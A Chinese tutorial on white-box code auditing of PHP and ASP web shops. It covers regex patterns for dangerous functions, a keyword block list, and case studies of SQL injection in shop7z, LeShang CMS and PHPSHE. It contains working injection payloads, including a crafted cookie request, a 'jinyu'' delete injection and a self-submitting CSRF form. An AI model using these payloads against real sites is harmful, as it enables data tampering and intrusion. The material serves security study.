您可以捐助,支持我们的公益事业。

1元 10元 50元





认证码:  验证码,看不清楚?请点击刷新验证码 必填



  求知 文章 文库 Lib 视频 Code iProcess 课程 角色 咨询 工具 火云堂 讲座吧   建模者  
会员   
 
   
 
  
每天15篇文章
不仅获得谋生技能
更可以追随信仰
 
     
   
 订阅
  捐助
代码审计思路
 
367 次浏览     评价:  
 2019-4-3 
 
编辑推荐:
本文来自cnblogs ,文中主要通过代码审计思路的方法,案例,及一些主要的函数,下面让我们一起开启代码审计之路。

两大审计的基本方法

1. 跟踪用户的输入数据,判断数据进入的每一个代码逻辑是否有可利用的点,此处的代码逻辑可以是一个函数,或者是条小小的条件判断语句。

2. 根据不同编程语言的特性,及其历史上经常产生漏洞的一些函数,功能,把这些点找出来,在分析函数调用时的参数,如果参数是用户可控,就很有可能引发安全漏洞

1、寻找漏洞前准备理解

理解现在的cms大致可分为两种,单入口模式和多入口模式.

多入口模式cms :每一个功能都需要访问不同的文件。

单入口模式的cms:MVC的开发出来的

So,挖掘漏洞方式

1、搜索一些获取用户输入数据的函数,来找到用户输入数据的源头,之后我们从这里为起点,跟踪数据的流向,分析在这整个过程中数据的处理情况,进而定位可能触发漏洞的点。

2、搜索一些经常产生安全问题的函数,比如执行数 据库查询的函数,执行系统命令的函数,文件操作类函数等等,在通过回溯这些函数在被调用时参数,判断参数是否我们可控,进而定位漏洞点。

常用的正则 PHP

\$_SERVER|\$_COOKIE|\$_REQUEST|\$_GET|\$_POST 获取用户输入

eval\ (|assert\(|system\( 命令执行

require\ (|require_once\(|include\ (|include_once\( 文件包含

file_get_contents\(|file\(|fopen\ (|highlight_file\(|show_source\(|unlink 文件读取,写入,删除

simplexml_load_string XXE

unserialize 反序列化漏洞

ASP ==》 搜索request找输入点,直接跟踪变量==》查看文件头包含include的文件(全局配置文件,全局函数文件,安全过滤文件)

.NET

Jsp

Ex:代码审计多入口模式之SQL注入篇(shop7z)

Shop7_safe.asp 安全过滤函数

<%

Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr

'自定义需要过滤的字串,用 "曹" 分隔 ' 防止SQL注入以及XSS跨站攻击 /2016/1/3

Fy_In = "'曹;曹and曹exec曹insert曹select曹delete曹count曹*曹%曹chr曹mid曹master曹truncate曹char曹declare曹<曹>曹script"

'----------------------------------

%> //为毛不用操。。。

<%

Fy_Inf = split(Fy_In,"曹")

'--------POST部份------------------

If Request.Form<>"" Then

For Each Fy_Post In Request.Form

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.FormFy_Post)),Fy_Inf(Fy_Xh))<>0 Then

(

Response.Write "xxx<Script Language=JavaScript>('请不要对本站尝试进行非法操作谢谢合作^_^ ');history.go(-1);</Script>"

Response.End

End If

Next

Next

End If

'----------------------------------

'--------GET部份-------------------

If Request.QueryString<>"" Then

For Each Fy_Get In Request.QueryString

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then

Response.Write "xxx<Script Language=JavaScript>('请不要对本站尝试进行注入操作谢谢合作^_^ ');history.go(-1);</Script>"

Response.End

End If

Next

Next

End If

%>

 

Request回来的参数只对get和post两种方法针对SQL注入攻击进行过滤。Cookie呢?So?

request.QueryString(获取GET请求的参数)
request.form() (获取POST请求的参数)
request.cookie() (获取通过cookie传来的参数 request )

关注从 cookie中获取参数的函数

开始

漏洞文件:news.asp

searchkey=request("searchkey")

searchkind=request("searchkind")

if searchkey<>"" then

sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" and (c_title like '%"&searchkey&"%' or c_contect like '%"&searchkey&"%') order by c_num desc,c_addtime desc"

else

sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" order by c_num desc,c_addtime desc"

end if

set rs3=server.CreateObject("adodb.recordset")

rs3.open sql3,conn,1,1

 

文件包含了全局过滤文件,用requset()获取参数,在cookie处提交恶意代码,抓包

GET /news.asp?l_id=1 HTTP/1.1

Host: 127.0.0.1:99

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: _ga=GA1.1.1929133354.1465629589; COSPTLCBWXNQVBUKXIOJ= KSBKFPQVGIRJWBOELVYRTMR CNPDSIWYDIWYHQYNQ; searchkey=sss'and#

执行语句

select * from e_contect where c_parent2=1 and (c_title like '%sss'and#%' or c_contect like '%sss'and#%') order by c_num desc, c_addtime desc

好吧看图

理解参数的传递。Ok

Ex:代码审计单入口模式(乐尚商城cms)

这种cms典型的采用 MVC 编程模型编写的程序,而且它还将 URL 路由进行了重写,也就是说他的 URL 如果按照国际标准去解析他,是没有什么实际意义的,所以遇到这种程序,我们还需要理清它 URL 路由规则,找到参数名,与参数值的位置关系。

前台url:

后台url:

目录结构:

单入口一般采用这样的目录结构的。分析程序执行流程,理解在index.php文件之间的调用

第一个该文件定义了一些变量,好像这个没什么卵用。关键/brophp.php:

/包含框架中的函数库文件

include BROPHP_PATH.'commons/ functions.inc.php'; ==》该文件内部是一些全局函数

//包含全局的函数库文件,用户可以自己定义函数在这个文件中

$funfile=PROJECT_PATH."commons/functions.inc.php";

if(file_exists($funfile))

include $funfile;

//设置包含目录(类所在的全部目录), PATH_SEPARATOR 分隔符号 Linux(:) Windows(;) //之后设置了许多的目录,

$include_path=get_include_path(); //原基目录

$include_path.= PATH_SEPARATOR.BROPHP_PATH."bases/"; //框架中基类所在的目录

$include_path.= PATH_SEPARATOR.BROPHP_PATH."classes/" ;//框架中扩展类的目录

$include_path.= PATH_SEPARATOR.BROPHP_PATH."libs/" ; //模板Smarty所在的目录

$include_path.= PATH_SEPARATOR.PROJECT_PATH."classes/";//项目中用的到的工具类

$controlerpath= PROJECT_PATH."runtime/controls/".TMPPATH; //生成控制器所在的路径

$include_path.= PATH_SEPARATOR.$controlerpath; //当前应用的控制类所在的目录

//设置include包含文件所在的所有目录

set_include_path($include_path);

//自动加载类

function __autoload($className){

if($className=="memcache"){//如果是系统的Memcache类则不包含

return;

}else if($className=="Smarty"){//如果类名是Smarty类,则直接包含

include "Smarty.class.php";

}else{ //如果是其他类,将类名转为小写

include strtolower($className).".class.php";

}

Debug::addmsg("<b> $className </b>类", 1); //在debug中显示自动包含的类

}

 

使用set_include_path($include_path) ,将这些目录下的文件全部包含进来,逐个点进去看看,发现了定义路由的文件是 brophp/bases/prourl.class.php 看看文件内容:

<?php
class Prourl {
/**
* URL路由,转为PATHINFO的格式
*/
static function parseUrl(){
if (isset($_SERVER['PATH_INFO'])){
//获取 pathinfo
$pathinfo = explode('/', trim($_SERVER['PATH_INFO'], "/"));
// 获取 control
$_GET['m'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');
array_shift($pathinfo); //将数组开头的单元移出数组
// 获取 action
$_GET['a'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');
array_shift($pathinfo); //再将将数组开头的单元移出数组
for($i=0; $i<count($pathinfo); $i+=2){
$_GET[$pathinfo[$i]]=$pathinfo[$i+1];
}
}else{
$_GET["m"]= (!empty($_GET['m']) ? $_GET['m']: 'index');//默认是index模块
$_GET["a"]= (!empty($_GET['a']) ? $_GET['a'] : 'index'); //默认是index动作
if($_SERVER[" QUERY_STRING"]){
$m=$_GET["m"];
unset($_GET["m"]); //去除数组中的m
$a=$_GET["a"];
unset($_GET["a"]); //去除数组中的a
$query=http_build_query($_GET); //形成0=foo&1=bar&2=baz&3=boom&cow=milk格式
//组成新的URL
$url=$_SERVER ["SCRIPT_NAME"]."/ {$m}/{$a}/".str_replace (array("&","="), "/", $query);
header("Location:".$url);
}
}
}
}

 

这段代码将我们的 URL 进行了处理,ex当我们请求这样的 URL

经过定义路由的文件,这样一段代码的处理后的效果是

$_GET['m']= product
$_GET['a'] = index
$_GET['id'] = 32
$_GET['pid'] = 0
$_GET['m_id'] = 3

 

通过分析,我们直接按照标准的形式提交参数上去也是可以的,下面的 URL 和上面的 URL是一样的

http://localhost/leshang/index.php?m =product&a=index& id=32&pid=0&m_id=31

 

所以遇到 URL 重写也无需慌张,仔细分析程序即可。

之后继续分析 brophp.php 文件,我们还可以发现,程序没有对我们的参数进行过滤,接下了就上正则搜索了

\$_SERVER|\$_COOKIE|\ $_REQUEST|\$_GET|\$_POST

逐个分析。就能找到漏洞点。看下这个其中一个漏洞文件 admin/controls/acate.class.php

function del(){
$acate=D("acate");
if($_POST['dels']){
if($acate->delete($_POST['id'])){
$this->clear_cache();
$this->success("删除成功!", 1, "acate/index");
} else {
$this->error("删除失败!", 1, "acate/index");
}
} else {
if($acate->delete($_GET['id'])){
$this->clear_cache();
$this->success("删除成功!", 1, "acate/index");
} else {
$this->error("删除失败!", 1, "acate/index");
}
}
}

 

这里直接将 $_POST['id'] 传入了 delete 函数,看下delete函数

function delete(){
$where="";
$data=array();
$args=func_get_args(); //获取参数
if(count($args)>0){
$where = $this->comWhere($args); //传参 构造 where 语句
$data=$where["data"];
$where= $where["where"];
}else if($this->sql["where"] != ""){
$where=$this->comWhere($this->sql["where"]);
$data=$where["data"];
$where=$where["where"];
}
$order = $this->sql["order"] != "" ? " ORDER BY {$this->sql["order"][0]}" : "";
$limit = $this->sql["limit"] != "" ? $this->comLimit($this->sql["limit"]) : "";
if($where=="" && $limit==""){
$where=" where {$this->fieldList["pri"]}=''";
}
$sql="DELETE FROM {$this->tabName}{$where}{$order}{$limit}";
return $this->query($sql, __METHOD__,$data);
}

在进入 comWhere 函数,漏洞关键代码

private function comWhere($args){
$where=" WHERE ";
$data=array();
if(empty($args))
return array("where"=>"", "data"=>$data);
foreach($args as $option) {
if(empty($option)){
$where = ''; //条件为空,返回空字符串;如'',0,false 返回: '' //5
continue;
}
else if(is_string($option))
{
if (is_numeric($option[0])) {
$option = explode(',', $option); //3
$where .= "{$this->fieldList["pri"]} IN(" . implode(',', array_fill(0, count($option), '?')) . ")";
$data=$option;
continue;
}
else
{

 

当 `$args` 的一个元素的值 为字符串时,就会直接并入 where 子句

$where .= $option; //2
continue;
}
}
.........................
..............................
$where=rtrim($where, "OR ");
return array("where"=>$where, "data"=>$data);

 

当 $args 的一个元素的值 为字符串时,就会直接并入 where 子句,之后返回。 这样,数据的来源没有过滤,处理过程也没过滤,造成了注入。 同时这里依旧存在 CSRF 漏洞。下面我的测试 POC

<form action=http://localhost/lesh/admin.php/acate/del method=POST>
<input type="text" name="id" value="jinyu'" />
<input type="text" name="dels" value="1" />
</form>
<script> document.forms[0].submit(); </script>

访问后,执行的 SQL 语句为:

DELETE FROM ls_acate WHERE jinyu'

该漏洞发生在 del 函数中,而且有很多文件都是直接复制了该函数,所以使用了该函数的都存在该sql注入

上面的注入需要管理员权限

接下来看下这个 漏洞文件 : home/controls/user.class.php

关键代码:

function del_consult(){
$consult=D("Consult");
if($_GET['id']){
if($consult->delete($_GET['id'])){
$this->success("删除成功!", 1);
} else {
$this->error("删除失败!", 1);
}
}
}

 

这里和上面的也差不多, delete($_GET['id']) 将 id 参数带入了漏洞函数,造成注入。。

提交 http://localhost/lesh/index.php/user/del_consult?id=jinyu'

执行的语句:

DELETE FROM ls_consult WHERE jinyu'

同样的使用了该函数的都有漏洞。。。

为了文章知识的完整性,下面来看一个 二次注入 的例子,来源 http://www.wooyun.org/bugs/wooyun-2010-0141461 乌云暂时打不开,自己搭靶机看下吧。

ex:PHPSHE 二次注入一枚
case 'register':
if (isset($_p_pesubmit)) {
if($db->pe_num('user', array('user_name'=>pe_dbhold($_g_user_name)))) pe_error('用户名已存在...');
if($db->pe_num('user', array('user_email'=>pe_dbhold($_g_user_email)))) pe_error('邮箱已存在...');
if (strtolower($_s_authcode) != strtolower($_p_authcode)) pe_error('验证码错误');
$sql_set['user_name'] = $_p_user_name;
$sql_set['user_pw'] = md5($_p_user_pw);
$sql_set['user_email'] = $_p_user_email;
$sql_set['user_ip'] = pe_ip();
$sql_set['user_atime'] = $sql_set['user_ltime'] = time();
if ($user_id = $db->pe_insert('user', pe_dbhold($sql_set))) {
add_pointlog($user_id, 'reg', $cache_setting['point_reg'], '注册帐号');
$info = $db->pe_select('user', array('user_id'=>$user_id));
$_SESSION['user_idtoken'] = md5($info['user_id'].$pe['host_root']);
$_SESSION['user_id'] = $info['user_id'];
$_SESSION['user_name'] = $info['user_name'];
$_SESSION['pe_token'] = pe_token_set($_SESSION['user_idtoken']);
//未登录时的购物车列表入库
if (is_array($cart_list = unserialize($_c_cart_list))) {
foreach ($cart_list as $k => $v) {
$cart_info['cart_atime'] = time();
$cart_info['product_id'] = $k;
$cart_info['product_num'] = $v['product_num'];
$cart_info['user_id'] = $info['user_id'];

 

用户注册时 ,进行了转义,

然后登入时将完整的值带入了session

case 'login':
if (isset($_p_pesubmit)) {
$sql_set['user_name'] = $_p_user_name;
$sql_set['user_pw'] = md5($_p_user_pw);
if (strtolower($_s_authcode) != strtolower($_p_authcode)) pe_error('验证码错误');
if ($info = $db->pe_select('user', pe_dbhold($sql_set))) {
$db->pe_update('user', array('user_id'=>$info['user_id']), array('user_ltime'=>time()));
if (!$db->pe_num('pointlog', " and `user_id` = '{$info['user_id']}' and `pointlog_type` = 'reg' and `pointlog_text` = '登录帐号' and `pointlog_atime` >= '".strtotime(date('Y-m-d'))."'")) {
add_pointlog($info['user_id'], 'reg', $cache_setting['point_login'], '登录帐号');
}
$_SESSION['user_idtoken'] = md5($info['user_id'].$pe['host_root']);
$_SESSION['user_id'] = $info['user_id'];
$_SESSION['user_name'] = $info['user_name'];
z module/index/order.php 出库
case 'comment':
$order_id = pe_dbhold($_g_id);
$info = $db->pe_select('order', array('order_id'=>$order_id, 'user_id'=>$_s_user_id));
if (!$info['order_id']) pe_error('参数错误...');
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
if (isset($_p_pesubmit)) {
pe_token_match();
if ($info['order_comment']) pe_error('请勿重复评价...');
foreach ($info_list as $k=>$v) {
$sql_set[$k]['comment_star'] = intval($_p_comment_star[$v['product_id']]);
$sql_set[$k]['comment_text'] = pe_dbhold($_p_comment_text[$v['product_id']]);
$sql_set[$k]['comment_atime']= time();
$sql_set[$k]['product_id'] = $v['product_id'];
$sql_set[$k]['order_id'] = $order_id;
$sql_set[$k]['user_ip'] = pe_dbhold(pe_ip());
$sql_set[$k]['user_id'] = $_s_user_id;
$sql_set[$k]['user_name'] = $_s_user_name;
if (!$sql_set[$k]['comment_text']) pe_error('评价内容必须填写...');
}
if ($db->pe_insert('comment', $sql_set)) {
order_callback('comment', $order_id);
pe_success('评价成功!');

 

z module/index/order.php 出库
case 'comment':

$order_id = pe_dbhold($_g_id);

$info = $db->pe_select('order', array('order_id'=>$order_id, 'user_id'=>$_s_user_id));

if (!$info['order_id']) pe_error('参数错误...');

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

if (isset($_p_pesubmit)) {

pe_token_match();

if ($info['order_comment']) pe_error('请勿重复评价...');

foreach ($info_list as $k=>$v) {

$sql_set[$k]['comment_star'] = intval($_p_comment_star[$v['product_id']]);

$sql_set[$k]['comment_text'] = pe_dbhold($_p_comment_text[$v['product_id']]);

$sql_set[$k]['comment_atime']= time();

$sql_set[$k]['product_id'] = $v['product_id'];

$sql_set[$k]['order_id'] = $order_id;

$sql_set[$k]['user_ip'] = pe_dbhold(pe_ip());

$sql_set[$k]['user_id'] = $_s_user_id;

$sql_set[$k]['user_name'] = $_s_user_name;

if (!$sql_set[$k]['comment_text']) pe_error('评价内容必须填写...');

}

if ($db->pe_insert('comment', $sql_set)) {

order_callback('comment', $order_id);

pe_success('评价成功!');

我们注册个用户 aaaaaaa' ,购买商品后评价,可以看到 单引号带入了

黑盒审计:手工+扫描器 寻找漏洞 (SQL注入、XSS、任意文件上传)

白盒审计:审计工具 寻找漏洞 (参数为过滤、文件名过滤不严、命令执行、文件读取)

我们需要注意某些函数 跟进函数进行全局审计。

PHP常见函数及其功能:

basename() 返回路径中的文件名部分。

chgrp() 改变文件组。

chmod() 改变文件模式。

chown() 改变文件所有者。

clearstatcache() 清除文件状态缓存。

copy() 复制文件。

delete() 参见 unlink() 或 unset()。

dirname() 返回路径中的目录名称部分。

disk_free_space() 返回目录的可用空间。

disk_total_space() 返回一个目录的磁盘总容量。

diskfreespace() disk_free_space() 的别名。

fclose() 关闭打开的文件。

feof() 测试文件指针是否到了文件结束的位置。

fflush() 向打开的文件输出缓冲内容。

fgetc() 从打开的文件中返回字符。

fgetcsv() 从打开的文件中解析一行,校验 CSV 字段。

fgets() 从打开的文件中返回一行。

fgetss() 从打开的文件中读取一行并过滤掉 HTML 和 PHP 标记。

file() 把文件读入一个数组中。

file_exists() 检查文件或目录是否存在。

file_get_contents() 将文件读入字符串。

file_put_contents 将字符串写入文件。

fileatime() 返回文件的上次访问时间。

filectime() 返回文件的上次改变时间。

filegroup() 返回文件的组 ID。

fileinode() 返回文件的 inode 编号。

filemtime() 返回文件的上次修改时间。

fileowner() 文件的 user ID (所有者)。

fileperms() 返回文件的权限。

filesize() 返回文件大小。

filetype() 返回文件类型。

flock() 锁定或释放文件。

fnmatch() 根据指定的模式来匹配文件名或字符串。

fopen() 打开一个文件或 URL。

fpassthru() 从打开的文件中读数据,直到 EOF,并向输出缓冲写结果。

fputcsv() 将行格式化为 CSV 并写入一个打开的文件中。

fputs() fwrite() 的别名。

fread() 读取打开的文件。

fscanf() 根据指定的格式对输入进行解析。

fseek() 在打开的文件中定位。

fstat() 返回关于一个打开的文件的信息。

ftell() 返回文件指针的读/写位置

ftruncate() 将文件截断到指定的长度。

fwrite() 写入文件。

glob() 返回一个包含匹配指定模式的文件名/目录的数组。

is_dir() 判断指定的文件名是否是一个目录。

is_executable() 判断文件是否可执行。

is_file() 判断指定文件是否为常规的文件。

is_link() 判断指定的文件是否是连接。

is_readable() 判断文件是否可读。

is_uploaded_file() 判断文件是否是通过 HTTP POST 上传的。

is_writable() 判断文件是否可写。

is_writeable() is_writable() 的别名。

link() 创建一个硬连接。

linkinfo() 返回有关一个硬连接的信息。

lstat() 返回关于文件或符号连接的信息。

mkdir() 创建目录。

move_uploaded_file() 将上传的文件移动到新位置。

parse_ini_file() 解析一个配置文件。

pathinfo() 返回关于文件路径的信息。

pclose() 关闭有 popen() 打开的进程。

popen() 打开一个进程。

readfile() 读取一个文件,并输出到输出缓冲。

readlink() 返回符号连接的目标。

realpath() 返回绝对路径名。

rename() 重名名文件或目录。

rewind() 倒回文件指针的位置。

rmdir() 删除空的目录。

set_file_buffer() 设置已打开文件的缓冲大小。

stat() 返回关于文件的信息。

symlink() 创建符号连接。

tempnam() 创建唯一的临时文件。

tmpfile() 建立临时文件。

touch() 设置文件的访问和修改时间。

umask() 改变文件的文件权限。

unlink() 删除文件。

   
367 次浏览  评价: 差  订阅 捐助
相关文章

深度解析:清理烂代码
如何编写出拥抱变化的代码
重构-使代码更简洁优美
团队项目开发"编码规范"系列文章
相关文档

重构-改善既有代码的设计
软件重构v2
代码整洁之道
高质量编程规范
相关课程

基于HTML5客户端、Web端的应用开发
HTML 5+CSS 开发
嵌入式C高质量编程
C++高级编程
每天2个文档/视频
扫描微信二维码订阅
订阅技术月刊
获得每月300个技术资源
 
 

关于我们 | 联系我们 | 京ICP备10020922号 京公海网安备110108001071号